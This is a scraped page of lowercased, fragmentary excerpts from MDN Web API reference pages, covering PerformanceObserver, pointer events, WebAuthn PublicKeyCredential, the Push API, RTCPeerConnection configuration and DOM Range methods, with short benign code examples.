new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2t...
PerformanceObserverEntryList.getEntriesByType() - Web APIs
ime. if no objects have the specified type, or no argument is provided, an empty list is returned. ...
...length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_frame =
new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2t...
Using Performance Timeline - Web APIs
is, the list only contains entries for the event types that were specified when the observer's observe() method was invoked. the following example shows how to register two observers: the first one registers for several event types and the second observer only registers for one event type. ...
...t entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); // create observer for just the "mark" event type var observe_mark =
new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'mark' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'mark' event observe_mark.observe({entrytypes: ['mark']}); } function print_perf_entry(pe) { log("name: " + pe.name + "; entryt...
Pointer events - Web APIs
hich produced the event. the events needed to handle generic pointer input are analogous to mouse events (mousedown/pointerdown, mousemove/pointermove, etc.). consequently, pointer event types are intentionally similar to mouse event types. additionally, a pointer event contains the usual properties present in mouse events (client coordinates, target element, button states, etc.) in addition to
new properties for other forms of input: pressure, contact geometry, tilt, etc. in fact, the pointerevent interface inherits all of the mouseevent properties, thus facilitating the migration of content from mouse events to pointer events. terminology active buttons state the condition when a pointer has a non-zero value for the buttons property. for example, in the case of a pen, when the pen ha...
...r nodes higher up in the document tree). the target element (node) should be large enough to accommodate the largest contact surface area (typically a finger touch). if the target area is too small, touching it could result in firing other events for adjacent elements. specifications specification status comment pointer events – level 3 editor's draft added
new apis for getcoalescedevent and getpredictedevents,
new pointerrawupdate event, additional touch-action property values pan-left, pan-right, pan-up, pan-down. pointer events – level 2 recommendation adds haspointercapture method and clarifies more edge cases and dynamic scenarios. pointer events obsolete initial definition. ...
ProgressEvent - Web APIs
progress of performing. when downloading a resource using http, this only represent the content itself, not headers and other overhead. methods also inherits methods from its parent event. progressevent.initprogressevent() initializes a progressevent created using the deprecated document.createevent("progressevent") method. ...
...head. methods also inherits methods from its parent event. progressevent.initprogressevent() initializes a progressevent created using the deprecated document.createevent("progressevent") method. examples the following example adds a progressevent to a
new xmlhttprequest and uses it to display the status of the request. ...
PublicKeyCredential.getClientExtensionResults() - Web APIs
ickeycredentialrequestoptions.extensions) is supported by chrome and edge. firefox does not seem to support any extension. ...
...ples var publickey = { // here are the extensions (as "inputs") extensions: { "loc": true, // this extension has been defined to include location information in attestation "uvi": true // user verification index: how the user was verified }, challenge:
new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id:
new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (
newcredentialinfo) { var mybuffer =
newcredentialinfo.getclientextensionresults(); // mybuffer will contain the result of any of the processing of...
PublicKeyCredential.rawId - Web APIs
may only be used in top-level contexts and will not be available in an <iframe> for example. syntax rawid = publickeycredential.rawid value a arraybuffer containing the identifier of the credentials. this identifier is expected to be globally unique and is appointed for the current publickeycredential and its associated authenticatorassertionresponse. ...
...al.rawid value a arraybuffer containing the identifier of the credentials. this identifier is expected to be globally unique and is appointed for the current publickeycredential and its associated authenticatorassertionresponse. ...
PublicKeyCredential.response - Web APIs
response = publickeycredential.response value an authenticatorresponse object containing the data a relying party's script will receive and which should be sent to the relying party's server in order to validate the demand for creation or fetching. this object contains data from the client (authenticatorresponse/clientdatajson) and from the authenticator. ...
... receive and which should be sent to the relying party's server in order to validate the demand for creation or fetching. this object contains data from the client (authenticatorresponse/clientdatajson) and from the authenticator. ...
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
ng the most prefered), it is up to the client to choose among those elements for building the credential. ...
...s: [ // we would like an elliptic curve to be used if possible { type: "public-key", alg: -7 }, // if not, then we will fallback on an rsa algorithm { type: "public-key", alg: -37 } ], challenge:
new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id:
new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", } }; navigator.credentials.create({ publickey }) .then(function (
newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); speci...
PublicKeyCredentialCreationOptions.rp - Web APIs
rridden with a suffix of the current domain (e.g. "example.com"). name a domstring giving a human-readable name for the relying party. this property is intended for display (e.g. "example corp"). ...
... challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com", icon: "https://login.example.com/login.ico" }, user: { id:
new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (
newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rp' in that specification...
PushEvent.PushEvent() - Web APIs
the pushevent() constructor creates a
new pushevent object. note that the this constructor is exposed only to a service worker context. syntax var mypushevent =
new pushevent(type, eventinitdict); parameters type a domstring defining the type of pushevent. this can be push or pushsubscriptionchange. eventinitdict optional an options object containing any initialization data you want to populate the pushevent object with. the options are: data: the data you want the pushevent to contain, if any. when the constructor is invoked, the pushevent.data property of the resulting object will be set to a
new pushmessagedata object containing bytes extracted from the eventinitdict data member. ...
...you want to populate the pushevent object with. the options are: data: the data you want the pushevent to contain, if any. when the constructor is invoked, the pushevent.data property of the resulting object will be set to a
new pushmessagedata object containing bytes extracted from the eventinitdict data member. example var datainit = { data : 'some sample text' } var mypushevent =
new pushevent('push', datainit); mypushevent.data.text(); // should return 'some sample text' browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome f...
PushEvent.data - Web APIs
the service workers' clients. ...
...listener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/
new-notification.png"; var notification =
new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-
new.html'); } }); }); specifications specification status comment push apithe definition of 'data' in tha...
PushManager.register() - Web APIs
the register method is used to ask the system to request a
new endpoint for notifications. this method has been superceded by pushmanager.subscribe(). syntax var request = navigator.push.register(); return a domrequest object to handle the success or failure of the method call. if the method call is successful, the request's result will be a string, which is the endpoint url. note: if you do not need the url any more, please use pushmanager.unregister() to clean up after yourself. ...
...a domrequest object to handle the success or failure of the method call. if the method call is successful, the request's result will be a string, which is the endpoint url. note: if you do not need the url any more, please use pushmanager.unregister() to clean up after yourself. example var req = navigator.push.register(); req.onsuccess = function(e) { var endpoint = req.result; debug("
new endpoint: " + endpoint ); } req.onerror = function(e) { debug("error getting a
new endpoint: " + json.stringify(e)); } specification specification status comment push api working draft defines the pushmanager interface. ...
Push API - Web APIs
the push api gives web applications the ability to receive messages pushed to them from a server, whether or not the web app is in the foreground, or even currently loaded, on a user agent. this lets developers deliver asynchronous notifications and updates to users that opt in, resulting in better engagement with timely
new content. push concepts and usage when implementing pushmanager subscriptions, it is vitally important that you protect against csrf/xsrf issues in your app. see the following articles for more information: cross-site request forgery (csrf) prevention cheat sheet preventing csrf and xsrf attacks for an app to receive push messages, it has to have an active service worker. when the service worker is active, it can subscribe to push notifications, using ...
...a) of push messages to be sent to an application, although push messages that generate notifications are exempt from this limit. the limit is refreshed each time the site is visited. in comparison, chrome applies no limit, but requires that every push message causes a notification to be displayed. note: as of gecko 44, the allowed quota of push messages per application is not incremented when a
new notification fires, when another is still visible, for a period of three seconds. this handles cases where a burst of push messages is received, and not all generate a visible notification. note: chrome versions earlier than 52 require you to set up a project on google cloud messaging to send push messages, and use the associated project number and api key when sending push notifications. it a...
RTCConfiguration.bundlePolicy - Web APIs
ne peer to a single ip and port on another peer, all using the same rtcdtlstransport. the goal of bundling is to optimize performance by reducing the overhead of having multiple transports in play. the fewer rtp transports or bundles of rtp streams you have, the better the network performance will be. all current major browsers are bundle compatible. ...
... creates a
new rtcpeerconnection with a configuration setting the connection's bundlepolicy to max-compat to maximize compatibility while attempting to optimize network use. it also specifies stun:stun.example.com as the stun server for ice to use during negotiation. let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], bundlepolicy: "max-compat" }; let pc =
new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.bundlepolicy' in that specification. candidate recommendation initial definition. ...
RTCConfiguration.iceServers - Web APIs
ase the first is offline, listing too many servers can delay the user's connection being established, depending on the network's performance and how many servers get used for negotiation before a connection is established. if the list of servers is changed while a connection is already active by calling the the rtcpeerconnection method setconfiguration(), no immediate effect occurs. however, the
new list of servers is used for any future renegotiation, such as while handling an ice restart. examples the configuration below opens a
new peer connection, specifying two servers for the ice agent to use for negotiation. the first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. the second server has two urls: stun:stun.example.com and stun...
...mple.com and stun:stun-1.example.com. var configuration = { iceservers: [{ urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc =
new rtcpeerconnection(configuration); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.iceservers' in that specification. candidate recommendation initial definition. ...
RTCConfiguration.iceTransportPolicy - Web APIs
e candidates relayed by a stun or turn server. this can be used to prevent the remote endpoint from receiving the user's ip addresses, which may be important in some security situations. for example, in a video calling application, the app may want to prevent unknown callers from learning the callee's ip addresses until the callee has agreed to receive the call. ...
...ample, in a video calling application, the app may want to prevent unknown callers from learning the callee's ip addresses until the callee has agreed to receive the call. examples in this example, a
new connection is configured to only accept relay candidates. let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], icetransportpolicy: "relay" }; let pc =
new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtccandidate.icetransportpolicy' in that specification. candidate recommendation initial definition. ...
RTCConfiguration - Web APIs
upports providing multiple certificates because even though a given dtls connection uses only one certificate, providing multiple certificates allows support for multiple encryption algorithms. the implementation of rtcpeerconnection will choose which certificate to use based on the algorithms it and the remote peer support, as determined during dtls handshake. if you don't provide certificates,
new ones are generated automatically. one obvious benefit to providing your own is identity key continuity—if you use the same certificate for subsequent calls, the remote peer can tell you're the same caller. this also avoids the cost of generating
new keys. <<<--- add link to information about identity --->>> example the configuration below establishes two ice servers. the first one, stun:stun...
...mple.com and stun:stun-1.example.com. var configuration = { iceservers: [{ urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc =
new rtcpeerconnection(configuration); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration' in that specification. candidate recommendation initial definition. ...
RTCDataChannelEvent - Web APIs
the rtcdatachannelevent() constructor returns a
new rtcdatachannelevent object, which represents a datachannel event. these events sent to an rtcpeerconnection when its remote peer is asking to open an rtcdatachannel between the two peers. you will rarely if ever construct an rtcdatachannelevent by hand; instead, the webrtc layer will generate and deliver them to you at the appropriate time. just listen for the datachannel event to be received by the rtcpeerconnection and when you receive it, use the rtcdatachannelevent.channel property to gain access to the data channel which has been opened. ...
...channelevent by hand; instead, the webrtc layer will generate and deliver them to you at the appropriate time. just listen for the datachannel event to be received by the rtcpeerconnection and when you receive it, use the rtcdatachannelevent.channel property to gain access to the data channel which has been opened. ...
RTCIceCandidatePairStats - Web APIs
orts statistics which provide insight into the quality and performance of an rtcpeerconnection while connected and configured as described by the specified pair of ice candidates. if a rtcstats-based object's type is candidate-pair, it's an rtcicecandidatepairstats object. properties rtcicecandidatepairstats is based upon rtcstats and inherits its properties. in addition, it adds the following
new properties: availableincomingbitrate optional provides an informative value representing the available inbound capacity of the network by reporting the total number of bits per second available for all of the candidate pair's incoming rtp streams. this does not take into account the size of the ip overhead, nor any other transport layers such as tcp or udp. availableoutgoingbitrate optional ...
...andidatepair(), which returns an rtcicecandidatepair object, or null if there isn't a pair selected. the active candidate pair describes the current configuration of the two ends of the rtcpeerconnection. any candidate pair that isn't the active pair of candidates for a transport gets deleted if the rtcicetransport performs an ice restart, at which point the state of the ice transport returns to
new and negotiation starts once again. for more information, see ice restart in lifetime of a webrtc session. example this example computes the average time elapsed between connectivity checks if the rtcstats object rtcstats is an rtcicecandidatepairstats object. if (rtcstats && rtcstats.type === "candidate-pair") { let elapsed = (rtcstats.lastrequesttimestamp - rtcstats.firstrequesttimestamp...
RTCIceServer.url - Web APIs
the obsolete rtciceserver dictionary's url property specifies the url of a single ice server to be used while negotiating connections. it was removed from the specification in june 2013 but is still broadly used in older examples and books, so we include documentation here to help adapt old code to
new browsers. this property has been removed from the specification; while it's still supported by many browsers, it should no longer be used. you should instead use the
newer urls property, which allows you to optionally specify multiple urls for the server. try to update any existing code to use that property instead. syntax var iceserver = { ... url = iceserverurl, ... }; var serverurl = iceserver.url; iceserver.
...er. try to update any existing code to use that property instead. syntax var iceserver = { ... url = iceserverurl, ... }; var serverurl = iceserver.url; iceserver.url = iceserverurl; the value of this property is a domstring containing the full url of a server to use during ice negotiation. example this example creates a
new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections. mypeerconnection =
new rtcpeerconnection({ iceservers: [ { url: "stun:stunserver.example.org" } ] }); unfortunately, the only way to tell ice that the server has a backup domain name of stunserver2.example.org is to add a
new entry to the iceservers array for it. the urls propert...
RTCIceTransport - Web APIs
venttarget. it also offers the following properties: component read only the ice component being used by the transport. the value is one of the strings from the rtcicetransport enumerated type: "rtp" or "rtsp". gatheringstate read only a domstring indicating which gathering state the ice agent is currently in. the value is one of those included in the rtcicegathererstate enumerated type: "
new", "gathering", or "complete". role read only returns a domstring whose value is one of the members of the rtcicerole enumerated type: "controlling" or "controlled"; this indicates whether the ice agent is the one that makes the final decision as to the candidate pair to use or not. state read only a domstring indicating what the current state of the ice agent is. the value of state can be u...
...stener to the oneventname property of this interface. gatheringstatechange sent to the rtcicetransport object to indicate that the value of the gatheringstate property has changed, indicating a change in this transport's ice candidate negotiation process. also available through the ongatheringstatechange event handler property. selectedcandidatepairchange sent to the rtcicetransport when a
new, better pair of candidates has been selected to describe the connectivity between the two peers. this occurs during negotiation or renegotiation, including after an ice restart, which reuses the existing rtcicetransport objects. the current candidate pair can be obtained using getselectedcandidatepair(). also available using the onselectedcandidatepairchange event handler property. statechange ...
RTCPeerConnection() - Web APIs
rtcconfiguration dictionary bundlepolicy optional specifies how to handle negotiation of candidates when the remote peer is not compatible with the sdp bundle standard. this must be one of the values from the enum rtcbundlepolicy. if this value isn't included in the dictionary, "balanced" is assumed. certificates optional an array of objects of type rtccertificate which are used by the connection for authentication. ...
...ction. if this value is set (it defaults to null), the rtcpeerconnection will not connect to a remote peer unless it can successfully authenticate with the given name. rtcpmuxpolicy optional the rtcp mux policy to use when gathering ice candidates, in order to support non-multiplexed rtcp. the value must be one of those from the rtcrtcpmuxpolicy enum. the default is "require". return value a
newly-created rtcpeerconnection object, configured as described by configuration, if specified; otherwise, configured to appropriate basic defaults. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection()' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection.addIceCandidate() - Web APIs
if the candidate parameter is missing or a value of null is given when calling addicecandidate(), the added ice candidate is an "end-of-candidates" indicator. the same is the case if the value of the specified object's candidate is either missing or an empty string (""), it signals that all remote candidates have been delivered. ...
...ectivity and signaling and video calling. syntax apromise = pc.addicecandidate(candidate); addicecandidate(candidate, successcallback, failurecallback); parameters candidate optional an object conforming to the rtcicecandidateinit dictionary, or an rtcicecandidate object; the contents of the object should be constructed from a message received over the signaling channel, describing a
newly received ice candidate that's ready to be delivered to the local ice agent. if no candidate object is specified, or its value is null, an end-of-candidates signal is sent to the remote peer using the end-of-candidates a-line, formatted simply like this: a=end-of-candidates deprecated parameters in older code and documentation, you may see a callback-based version of this function. this...
RTCPeerConnection.addTransceiver() - Web APIs
the rtcpeerconnection method addtransceiver() creates a
new rtcrtptransceiver and adds it to the set of transceivers associated with the rtcpeerconnection. each transceiver represents a bidirectional stream, with both an rtcrtpsender and an rtcrtpreceiver associated with it. syntax rtptransceiver = rtcpeerconnection.addtransceiver(trackorkind, init); parameters trackorkind a mediastreamtrack to associate with the transceiver, or a domstring which is used as the kind of the receiver's track, and by extension of the rtcrtpreceiver itself. init optional an object that conforms to the rtcrtptransceiverinit dictionary which provides any options that you may wish to specify when creating the
new transceiver. ...
... trackorkind a mediastreamtrack to associate with the transceiver, or a domstring which is used as the kind of the receiver's track, and by extension of the rtcrtpreceiver itself. init optional an object that conforms to the rtcrtptransceiverinit dictionary which provides any options that you may wish to specify when creating the
new transceiver. possible values are: direction optional the
new transceiver's preferred directionality. this value is used to initialize the
new rtcrtptransceiver object's rtcrtptransceiver.direction property. sendencodings optional a list of encodings to allow when sending rtp media from the rtcrtpsender. each entry is of type rtcrtpencodingparameters. streams optional a list of mediastream objects to add to the transceiver'srtcrtpreceiver; when the remo...
RTCPeerConnection.canTrickleIceCandidates - Web APIs
the remote peer can accept trickled ice candidates and false if it cannot. if no remote peer has been established, this value is null. note: this property's value is determined once the local peer has called rtcpeerconnection.setremotedescription(); the provided description is used by the ice agent to determine whether or not the remote peer supports trickled ice candidates. ...
...andidates. example var pc =
new rtcpeerconnection(); // the following code might be used to handle an offer from a peer when // it isn't known whether it supports trickle ice. ...
RTCPeerConnection.close() - Web APIs
urn permissions. all rtcrtpsender objects are considered to be stopped once this returns (they may still be in the process of stopping, but for all intents and purposes, they're stopped). once this method returns, the signaling state as returned by rtcpeerconnection.signalingstate is closed. ...
...but for all intents and purposes, they're stopped). once this method returns, the signaling state as returned by rtcpeerconnection.signalingstate is closed. make sure that you delete all references to the previous rtcpeerconnection before attempting to create a
new one that connects to the same remote peer, as not doing so might result in some errors depending on the browser. ...
RTCPeerConnection.connectionState - Web APIs
nstate enum the rtcpeerconnectionstate enum defines string constants which describe states in which the rtcpeerconnection may be. these values are returned by the connectionstate property. this state essentially represents the aggregate state of all ice transports (which are of type rtcicetransport or rtcdtlstransport) being used by the connection. constant description "
new" at least one of the connection's ice transports (rtcicetransports or rtcdtlstransports) are in the "
new" state, and none of them are in one of the following states: "connecting", "checking", "failed", or "disconnected", or all of the connection's transports are in the "closed" state. "connecting" one or more of the ice transports are currently in the process of establishing a conn...
...failed", "connecting", or "checking". "failed" one or more of the ice transports on the connection is in the "failed" state. "closed" the rtcpeerconnection is closed. this value was in the rtcsignalingstate enum (and therefore found by reading the value of the signalingstate) property until the may 13, 2016 draft of the specification. example var pc =
new rtcpeerconnection(configuration); /* ... */ var connectionstate = pc.connectionstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.connectionstate' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection: connectionstatechange event - Web APIs
the connectionstatechange event is sent to the ontrack event handler on an rtcpeerconnection object after a
new track has been added to an rtcrtpreceiver which is part of the connection. the
new connection state can be found in connectionstate, and is one of the strings in the rtcpeerconnectionstate enumerated type. bubbles no cancelable no interface event event handler onconnectionstatechange examples for an rtcpeerconnection, pc, this example sets up a handler for connectionstatechange messages to handle changes to the connectivity of the webrtc session. ...
...ent event handler onconnectionstatechange examples for an rtcpeerconnection, pc, this example sets up a handler for connectionstatechange messages to handle changes to the connectivity of the webrtc session. it simply calls an app-defined function called setonlinestatus() to update a status display. ...
RTCPeerConnection.createAnswer() - Web APIs
function. this has been deprecated and its use is strongly discouraged. you should update any existing code to use the promise-based version of createanswer() instead. the parameters for this form of createanswer() are described below, to aid in updating existing code. successcallback an rtcsessiondescriptioncallback which will be passed a single rtcsessiondescription object describing the
newly-created answer. failurecallback an rtcpeerconnectionerrorcallback which will be passed a single domexception object explaining why the request to create an answer failed. options optional an optional rtcofferoptions object providing options requested for the answer. exceptions notreadableerror the identity provider wasn't able to provide an identity assertion. operationerror gener...
... passed to the sendtoserver() function, along with everything else in the promise fulfillment handler, depend entirely on your design pc.createanswer().then(function(answer) { return pc.setlocaldescription(answer); }) .then(function() { // send the answer to the remote peer through the signaling server. }) .catch(handlegetusermediaerror); this asks rtcpeerconnection to create and return a
new answer. in our promise handler, the returned answer is set as the description of the local end of the connection by calling setlocaldescription(). once that succeeds, the answer is sent to the signaling server using whatever protocol you see fit. promise.catch() is used to trap and handle errors. see handling the invitation in signaling and video calling to see the complete code, in context, f...
RTCPeerConnection.iceConnectionState - Web APIs
nstate; value the current state of the ice agent and its connection. the value is one of the strings in the rtciceconnectionstate enum. rtciceconnectionstate enum the rtciceconnectionstate enum defines the string constants used to describe the current state of the ice agent and its connection to the ice server (that is, the stun or turn server). constant description "
new" the ice agent is gathering addresses or is waiting to be given remote candidates through calls to rtcpeerconnection.addicecandidate() (or both). "checking" the ice agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer conne...
...connection. this is a less stringent test than "failed" and may trigger intermittently and resolve just as spontaneously on less reliable networks, or during temporary disconnections. when the problem resolves, the connection may return to the "connected" state. "closed" the ice agent for this rtcpeerconnection has shut down and is no longer handling requests. example var pc =
new rtcpeerconnection(); var state = pc.iceconnectionstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.iceconnectionstate' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.onicegatheringstatechange - Web APIs
agent is actively gathering candidates—changes. you don't need to watch for this event unless you have specific reasons to want to closely monitor the state of ice gathering. syntax rtcpeerconnection.onicegatheringstatechange = eventhandler; value a function you provide which is passed a single parameter: an event object containing the icegatheringstatechange event. you can determine the
new state of ice gathering by looking at the value of the rtcpeerconnection.icegatheringstate property. example this example updates status information presented to the user to let them know what's happening by examining the current value of the icegatheringstate property each time it changes and changing the contents of a status display based on the
new information. the status is simply presented...
...ning the current value of the icegatheringstate property each time it changes and changing the contents of a status display based on the
new information. ...
RTCPeerConnection.ontrack - Web APIs
the rtcpeerconnection property ontrack is an eventhandler which specifies a function to be called when the track event occurs, indicating that a track has been added to the rtcpeerconnection. the function receives as input the event object, of type rtctrackevent; this event is sent when a
new incoming mediastreamtrack has been created and associated with an rtcrtpreceiver object which has been added to the set of receivers on connection. ...
...n receives as input the event object, of type rtctrackevent; this event is sent when a
new incoming mediastreamtrack has been created and associated with an rtcrtpreceiver object which has been added to the set of receivers on connection. syntax rtcpeerconnection.ontrack = eventhandler; value set ontrack to be a function you provide that accepts as input a rtctrackevent object describing the
new track and how it's being used. this information includes the mediastreamtrack object representing the
new track, the rtcrtpreceiver and rtcrtptransceiver, and a list of mediastream objects which indicates which stream or streams the track is part of.. example this example, taken from the code for the article signaling and video calling, connects the incoming track to the <video> element which w...
RTCPeerConnection.peerIdentity - Web APIs
x var identity = rtcpeerconnection.peeridentity; value a javascript promise which resolves to an rtcidentityassertion that describes the remote peer's identity. if an error occcurs while attempting to validate an incoming identity assertion (that is, the information describing a peer's identity), the promise is rejected. if there isn't already a target peer identity, peeridentity is set to a
newly created promise and the process begins again, until the process succeeds or no further attempts to authenticate occur. note: the promise returned by setremotedescription() cannot resolve until any target peer identity that's been set is validated. if the identity hasn't been validated yet, the promise returned by setremotedescription() will be rejected. if there's no target peer identity, set...
...ty, setremotedescription() doesn't need to wait for validation to occur before it resolves. example in this example, a function, getidentityassertion(), is created which asynchronously waits for the peer's identity to be verified, then returns the identity to the caller. if an error occurs and the promise is rejected, this logs the error to the console and returns null to the caller. let pc =
new rtcpeerconnection(); /* ... */ async function getidentityassertion(pc) { try { const identity = await pc.peeridentity; return identity; } catch(err) { console.log("error identifying remote peer: ", err); return null; } } specifications specification status comment identity for webrtc candidate recommendation initial specification. ...
RTCPeerConnection: peeridentity event - Web APIs
the peeridentity event is sent to the connection concerned when peer identity has been set and verified on it. the
new identiy can be access using the rtcpeerconnection.peeridentity property. an event handler for this event can be added via the rtcpeerconnection.onpeeridentity property. bubbles no cancelable no interface event event handler property onpeeridentity important: this event and its event handler have been removed from the specification and are no longer available. ...
...lable no interface event event handler property onpeeridentity important: this event and its event handler have been removed from the specification and are no longer available. instead of using this event to detect when an identity is available, simply wait for the promise returned by rtcpeerconnection.peeridentity to be resolved. once resolved, its value is the
new identity. examples for the correct way to detect a
new peer identity, see rtcpeerconnection.peeridentity. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'peeridentity' in that specification. candidate recommendation ...
RTCPeerConnection.removeStream() - Web APIs
because this method has been deprecated, you should instead use removetrack() if your target browser versions have implemented it. if the signalingstate is set to "closed", an invalidstateerror is raised. if the signalingstate is set to "stable", the event negotiationneeded is sent on the rtcpeerconnection. ...
...idstateerror is raised. if the signalingstate is set to "stable", the event negotiationneeded is sent on the rtcpeerconnection. ...
RTCPeerConnection.signalingState - Web APIs
rtcsignalingstate enum the rtcsignalingstate enum specifies the possible values of rtcpeerconnection.signalingstate, which indicates where in the process of signaling the exchange of offer and answer the connection currently is. constant description "stable" there is no ongoing exchange of offer and answer underway. this may mean that the rtcpeerconnection object is
new, in which case both the localdescription and remotedescription are null; it may also mean that negotiation is complete and a connection has been established. "have-local-offer" the local peer has called rtcpeerconnection.setlocaldescription(), passing in sdp representing an offer (usually created by calling rtcpeerconnection.createoffer()), and the offer has been applied successfully.
...etlocaldescription(). "closed" the connection is closed. note: this value moved into the rtcpeerconnectionstate enum in the may 13, 2016 draft of the specification, as it reflects the state of the rtcpeerconnection, not the signaling connection. you now detect a closed connection by checking for connectionstate to be "closed" instead. example var pc =
new rtcpeerconnection(configuration); var state = pc.signalingstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.signalingstate' in that specification. candidate recommendation initial specification. ...
RTCPeerConnectionIceEvent() - Web APIs
options a dictionary of type rtcpeerconnectioninit, which may contain one or more of the following fields: "candidate" (optional, default is null): a rtcicecandidate representing the ice candidate being concerned by the event. if null, the event indicates the end of candidate gathering. "url" (optional, default is null): the url of the stun or turn server which was used to gather the candidate. if the candidate was not gathered by a stun or turn server, this value must be null. ...
...er the candidate. if the candidate was not gathered by a stun or turn server, this value must be null. "bubbles" (optional, default is false): inherited from eventinit(), this boolean option indicates whether or not the event must bubble. "cancelable" (optional, default is false, inherited from eventinit(), this boolean indicates whether or not the event can be canceled. return value a
newly-created rtcpeerconnectioniceevent, configured as specified in the provided options. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceevent()' in that specification. candidate recommendation initial definition. ...
RTCSessionDescription() - Web APIs
the rtcsessiondescription() constructor creates a
new rtcsessiondescription with its properties initialized as described in the specified object. this constructor has been deprecated because rtcpeerconnection.setlocaldescription() and other methods which take sdp as input now directly accept an object conforming to the rtcsessiondescriptioninit dictionary, so you don't have to instantiate an rtcsessiondescription yourself. syntax sessiondescription =
new rtcsessiondescription(rtcsessiondescriptioninit); values rtcsessiondescriptioninit optional an object providing the default values for the session description; the object conforms to the rtcsessiondescriptioninit dictionary. that dictionary has the following properties: type required. a string which is a member of the rtc...
...w directly accept an object conforming to the rtcsessiondescriptioninit dictionary, so you don't have to instantiate an rtcsessiondescription yourself. navigator.getusermedia({video: true}, function(stream) { pc.onaddstream({stream: stream}); // adding a local stream won't trigger the onaddstream callback pc.addstream(stream); pc.createoffer(function(offer) { pc.setlocaldescription(
new rtcsessiondescription(offer), function() { // send the offer to a server to be forwarded to the friend you're calling. }, error); }, error); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription()' in that specification. candidate recommendation initial specificatio...
Range.insertNode() - Web APIs
the range.insertnode() method inserts a node at the start of the range. the
new node is inserted at the start boundary point of the range. if the
new node is to be added to a text node, that node is split at the insertion point, and the insertion occurs between the two text nodes. if the
new node is a document fragment, the children of the document fragment are inserted instead. syntax range.insertnode(
newnode); parameters
newnode the node to insert at the start of the range. ...
...ange. if the
new node is to be added to a text node, that node is split at the insertion point, and the insertion occurs between the two text nodes. if the
new node is a document fragment, the children of the document fragment are inserted instead. syntax range.insertnode(
newnode); parameters
newnode the node to insert at the start of the range. example range = document.createrange();
newnode = document.createelement("p");
newnode.appendchild(document.createtextnode("
new node inserted here")); range.selectnode(document.getelementsbytagname("div").item(0)); range.insertnode(
newnode); specifications specification status comment domthe definition of 'range.insertnode()' in that specification. living standard no change document object model (d...
Range.surroundContents() - Web APIs
the range.surroundcontents() method moves content of the range into a
new node, placing the
new node at the start of the specified range. this method is nearly equivalent to
newnode.appendchild(range.extractcontents()); range.insertnode(
